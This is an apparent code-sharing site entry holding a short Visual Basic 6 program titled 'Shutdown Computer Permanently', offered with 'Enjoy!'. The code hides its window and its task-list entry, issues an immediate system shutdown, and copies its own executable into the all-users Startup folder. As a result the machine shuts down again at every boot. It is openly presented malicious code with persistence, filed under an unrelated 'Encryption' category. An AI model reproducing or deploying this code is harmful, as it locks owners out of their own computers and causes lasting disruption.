by Scott (1 Submission)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Sun 23rd September 2007
Date Added: Mon 8th February 2021
Rating: (1 Votes)
Shutdown Computer Permanently
API Declarations
Nothing is required on this form except the code. Enjoy! :)
Me.Hide
Me.Visible = False
App.TaskVisible = False
Shutdown
End Sub
Private Sub Shutdown()
Shell "shutdown -s -t 1"
Dim source As String
Dim Dest As String
source = App.Path & App.EXEName
Dest = "c:\documents and settings\all users\start menu\programs\startup\" & App.EXEName
FileCopy source, Dest
End Sub